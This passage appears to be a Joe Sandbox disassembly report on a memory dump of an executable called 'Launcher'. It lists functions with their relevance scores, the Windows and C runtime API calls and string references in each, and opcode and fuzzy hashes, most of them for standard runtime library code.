Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction ID: dddc8d1969c849d4f1615c5e62e7425cdb25a2c447667a9354e6bd86fdca5c29
Opcode Fuzzy Hash: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction Fuzzy Hash: 93B14772A013D5AFDB138F26CC8ABAE7BA9EF55710F14C155E904AB382D674DE01C7A0

Function 009E1BCD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 009E1C52
__alloca_probe_16.LIBCMT ref: 009E1D1B
__freea.LIBCMT ref: 009E1D82

Part of subcall function 009E04C1: RtlAllocateHeap.NTDLL(00000000,?,?,?,009D119F,?,?,009C31F2,00001000,?,009C313A), ref: 009E04F3

__freea.LIBCMT ref: 009E1D95
__freea.LIBCMT ref: 009E1DA2

Strings

A2sx, xrefs: 009E1BD4

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: A2sx
API String ID: 1423051803-2144273025
Opcode ID: c1da9bc0ee1fbc7e2dbbb7a1cd287c5f8aa99e2aa674f688f58f3545f4047dde
Instruction ID: e173818bff1035531149ea45001a7741a841ff30b1b91c87150616a96e71ac56
Opcode Fuzzy Hash: c1da9bc0ee1fbc7e2dbbb7a1cd287c5f8aa99e2aa674f688f58f3545f4047dde
Instruction Fuzzy Hash: 6C51B572600286BFEF229F66CC81EBB7BAEEF84710B154529FD04D6191EB75DC90C660

Function 009D388E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 009D38A2
AcquireSRWLockExclusive.KERNEL32(?,?,?,009D386B,?,00000000,?,009CB20C,?,?,009CD57E), ref: 009D38C1
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,009D386B,?,00000000,?,009CB20C,?,?,009CD57E), ref: 009D38EF
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,009D386B,?,00000000,?,009CB20C,?,?,009CD57E), ref: 009D394A
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,009D386B,?,00000000,?,009CB20C,?,?,009CD57E), ref: 009D3961

Strings

A2sx, xrefs: 009D3894

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID: A2sx
API String ID: 66001078-2144273025
Opcode ID: 12b605f43770d3dcc7a722be04188c703dc0ae493c2f9d91729b4a3b6983e37c
Instruction ID: b3af9a1d5227deffee14d4afed01caf60764e56dccf97a7f53389d423074fa04
Opcode Fuzzy Hash: 12b605f43770d3dcc7a722be04188c703dc0ae493c2f9d91729b4a3b6983e37c
Instruction Fuzzy Hash: 9F418C71584A06DFCB20DF66C4A0A6AB3F8FF48352B50CA1BE446D7740D7B0EA81CB52

Function 009E13F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,78733241,?,009E1508,009C31F2,?,00000000,?), ref: 009E14BA

Strings

ext-ms-, xrefs: 009E1464
api-ms-, xrefs: 009E1450

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d66fed3ce785da500465e81f77835260ee5b25fc9495d9c17cf0f45f09a2afe7
Instruction ID: ec305e7d732e26c531d60c7e4e1425075a019d4c25a83eef05fd672c747d8a24
Opcode Fuzzy Hash: d66fed3ce785da500465e81f77835260ee5b25fc9495d9c17cf0f45f09a2afe7
Instruction Fuzzy Hash: 3F21E771A15295ABDB239B67EC44A6A379C9B817B4F250110F905A73E1F630EE00D6D0

Function 009DA53C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,78733241,?,?,00000000,009F0244,000000FF,?,009DA5FD,009DA4E4,?,009DA699,00000000), ref: 009DA571
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009DA583
FreeLibrary.KERNEL32(00000000,?,?,00000000,009F0244,000000FF,?,009DA5FD,009DA4E4,?,009DA699,00000000), ref: 009DA5A5

Strings

mscoree.dll, xrefs: 009DA56A
A2sx, xrefs: 009DA551
CorExitProcess, xrefs: 009DA57B

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: A2sx$CorExitProcess$mscoree.dll
API String ID: 4061214504-1911920552
Opcode ID: 140992b79f04393d75288a83995c8e28484c2d06afa6e1b3675455d7a4c5761e
Instruction ID: 994230ebf31c17f43f1d584c591dc2d84913c51ffccc39336815898b4ee187b3
Opcode Fuzzy Hash: 140992b79f04393d75288a83995c8e28484c2d06afa6e1b3675455d7a4c5761e
Instruction Fuzzy Hash: DD01D671A58619AFDB018F50DC09FBEBBBCFB44B15F004525F815A23E0DB78A900DB91

Function 009D47BB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 009D47C1
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 009D47CF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 009D47E0

Strings

kernel32.dll, xrefs: 009D47BC
GetTempPath2W, xrefs: 009D47D5
GetSystemTimePreciseAsFileTime, xrefs: 009D47C9

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 395abbbcc45e269ec8bf1ed91a86c9e0e213cc14849fbe717a60957e1df9fe5c
Instruction ID: f255ae33496b7120f062a8be4487d236f778f9f51d52ac7b22bc6e3632af6ec0
Opcode Fuzzy Hash: 395abbbcc45e269ec8bf1ed91a86c9e0e213cc14849fbe717a60957e1df9fe5c
Instruction Fuzzy Hash: 02D0A7B153D2146F83005FB0BC4EC7A3BB4EA4435A3010051F904D21B0EB780400DB56

Function 009E8F96 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59d593948d75ba02a8a1a71e2927181898ca85dcc10bf26614505bfe76ae090d
Instruction ID: 5ed86784893f316a45eb20c0f8cecb21647d00cb71e3395fdc8a77c47de2102f
Opcode Fuzzy Hash: 59d593948d75ba02a8a1a71e2927181898ca85dcc10bf26614505bfe76ae090d
Instruction Fuzzy Hash: FAB1F5B0A0828ABFDF16DF9AC881BBD7BB5BF8A314F144159E5149B392C7709D41CB50

Function 009E8366 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(78733241,00000000,00000000,?), ref: 009E83C9

Part of subcall function 009E05D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,009E1D78,?,00000000,-00000008), ref: 009E0632

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009E861B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 009E8661
GetLastError.KERNEL32 ref: 009E8704

Strings

A2sx, xrefs: 009E837C

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID: A2sx
API String ID: 2112829910-2144273025
Opcode ID: e438c8ba9ceea725b7e7c3302a32a5475355fd990cc68a11aeacb38d2a84959f
Instruction ID: 56eb2e51c2916a77f99e21d0b1968fa7f9aedb76311a3e19defe0343c19d222c
Opcode Fuzzy Hash: e438c8ba9ceea725b7e7c3302a32a5475355fd990cc68a11aeacb38d2a84959f
Instruction Fuzzy Hash: B4D15B75D04289DFCF16CFE9C884AAEBBB9EF48314F24456AE419EB351DA30AD41CB50

Function 009DF2AC Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,009DF2A3,009D4E61,009D41CC), ref: 009DF2BA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 009DF2C8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009DF2E1
SetLastError.KERNEL32(00000000,009DF2A3,009D4E61,009D41CC), ref: 009DF333

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0b3c394e23c2d92a4f25edb3dd278930b3fe912802d4b7410d8ef0c630770b8d
Instruction ID: 58c7d204ca0c8d6b5f62a076173129345fbe15534d0f628bef1f6473ec3fa023
Opcode Fuzzy Hash: 0b3c394e23c2d92a4f25edb3dd278930b3fe912802d4b7410d8ef0c630770b8d
Instruction Fuzzy Hash: F801B13229E3515EEA1526B9BC96A6B6A89DB413B4720833BF921852F1EB514C01F240

Function 009DFB24 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 009DFC43
CallUnexpected.LIBVCRUNTIME ref: 009DFEBC

Strings

csm, xrefs: 009DFB61
csm, xrefs: 009DFBCE
csm, xrefs: 009DFC7A

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 61615040151c9eeea73d8d207d25746b04a6e884c0a3f28e287d3e462139348b
Instruction ID: cf5297090103785ef507d6c113bf71d34a3e37234e72eff6a5859ce7ecdad724
Opcode Fuzzy Hash: 61615040151c9eeea73d8d207d25746b04a6e884c0a3f28e287d3e462139348b
Instruction Fuzzy Hash: 19B18331880209DFCF14DFA4C892AAEB7B9FF54310F14856BE8166B356D335DA51CBA1

Function 009D184C Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 009D1853
std::_Lockit::_Lockit.LIBCPMT ref: 009D185E
std::_Lockit::~_Lockit.LIBCPMT ref: 009D18CC

Part of subcall function 009D1755: std::locale::_Locimp::_Locimp.LIBCPMT ref: 009D176D

std::locale::_Setgloballocale.LIBCPMT ref: 009D1879
_Yarn.LIBCPMT ref: 009D188F

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: b4c38cb5699abe7897b10c6661a64b483aa0303699adbf6ba117dd3f9d7f6aaf
Instruction ID: 3602b8c4d9ccbb085fb79b89d075a58e2b8ba6c03c8879d2952c6c7bbed3efb1
Opcode Fuzzy Hash: b4c38cb5699abe7897b10c6661a64b483aa0303699adbf6ba117dd3f9d7f6aaf
Instruction Fuzzy Hash: FC012676A44210AFCB06EF60D84167C77B6FFC4350B14800AF8215B3A1DF38AE42EB81

Function 009E1A83 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 009E1AF5
GetStringTypeW.KERNEL32(?,-00000008,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,00000083), ref: 009E1B4D
__freea.LIBCMT ref: 009E1B5A

Part of subcall function 009E04C1: RtlAllocateHeap.NTDLL(00000000,?,?,?,009D119F,?,?,009C31F2,00001000,?,009C313A), ref: 009E04F3

Strings

A2sx, xrefs: 009E1A8B

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: AllocateHeapStringType__alloca_probe_16__freea
String ID: A2sx
API String ID: 2035984020-2144273025
Opcode ID: fcf84618d5cf6faa5ec63a8f6c343e46cf1309754cb5d35541893ca96813df96
Instruction ID: fd0fd035e15532716d12befc5d47ad2bdff5234058ca4acf7207d7b5db9e79c0
Opcode Fuzzy Hash: fcf84618d5cf6faa5ec63a8f6c343e46cf1309754cb5d35541893ca96813df96
Instruction Fuzzy Hash: 4B31CF7290028AABDB229F66DC41EAF7BB9EF84310F094125F905A7251EB34CD50CBA0

Function 009D1F82 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 009D200A
RaiseException.KERNEL32(?,?,?,?), ref: 009D202F

Part of subcall function 009D4D23: RaiseException.KERNEL32(E06D7363,00000001,00000003,009D3ADE,?,?,?,?,009D3ADE,00001000,009FAE2C,00001000), ref: 009D4D84

Part of subcall function 009DD2B9: IsProcessorFeaturePresent.KERNEL32(00000017,009D7E7B,?,?,?,?,00000000), ref: 009DD2D5

Strings

A2sx, xrefs: 009D1F88
csm, xrefs: 009D1FBE

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: A2sx$csm
API String ID: 1924019822-272854930
Opcode ID: 18556c51016be113cf24d70d7eddeada703c2f5a71024eb57d6aa894f810b2ec
Instruction ID: f740dcfe5edd7564ea106f7238b78e3fc0f0280fa96914180f650c1ed699d650
Opcode Fuzzy Hash: 18556c51016be113cf24d70d7eddeada703c2f5a71024eb57d6aa894f810b2ec
Instruction Fuzzy Hash: DB215E32D40218ABCF25DF98D985AAEB7B9FF54710F14841BE905AB350D730AE45CB81

Function 009E6652 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 009E6677
GetLastError.KERNEL32 ref: 009E6681
__dosmaperr.LIBCMT ref: 009E6688

Strings

A2sx, xrefs: 009E665D

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorFileLastModuleName__dosmaperr
String ID: A2sx
API String ID: 4076908705-2144273025
Opcode ID: 812c13d884be6346aa0605f14370cd3b3d3c6087fd55b99a1c76376872e1c49f
Instruction ID: 2b4747e29a7298892658c49c31a33139c835085ced23410c3ee61171f404a638
Opcode Fuzzy Hash: 812c13d884be6346aa0605f14370cd3b3d3c6087fd55b99a1c76376872e1c49f
Instruction Fuzzy Hash: EA115B7195425DABCB10DFA5DC89BDEB7B8AF58304F10449AF509E7241EA309A84CF54

Function 009EAC01 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,009EAC9D,00000000,?,009FEFA0,?,?,?,009EABD4,00000004,InitializeCriticalSectionEx,009F4F0C,009F4F14), ref: 009EAC0E
GetLastError.KERNEL32(?,009EAC9D,00000000,?,009FEFA0,?,?,?,009EABD4,00000004,InitializeCriticalSectionEx,009F4F0C,009F4F14,00000000,?,009E016C), ref: 009EAC18
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 009EAC40

Strings

api-ms-, xrefs: 009EAC25

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 8f487b0facbb7b7cb61fe225c4fa8b1a7f5263830368d4813dab0289e2d7e0ca
Instruction ID: a079354415d71452998558fa1f645eba9e5f2df9ff89e1ecbd53e47cb9859795
Opcode Fuzzy Hash: 8f487b0facbb7b7cb61fe225c4fa8b1a7f5263830368d4813dab0289e2d7e0ca
Instruction Fuzzy Hash: A0E04F70294248BBEF111F62EC06F693F59AB10B56F244020F94CE80F1D761ED10D64A

Function 009DF84B Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 009DF912
___AdjustPointer.LIBCMT ref: 009DF935
___AdjustPointer.LIBCMT ref: 009DF9D1

Memory Dump Source

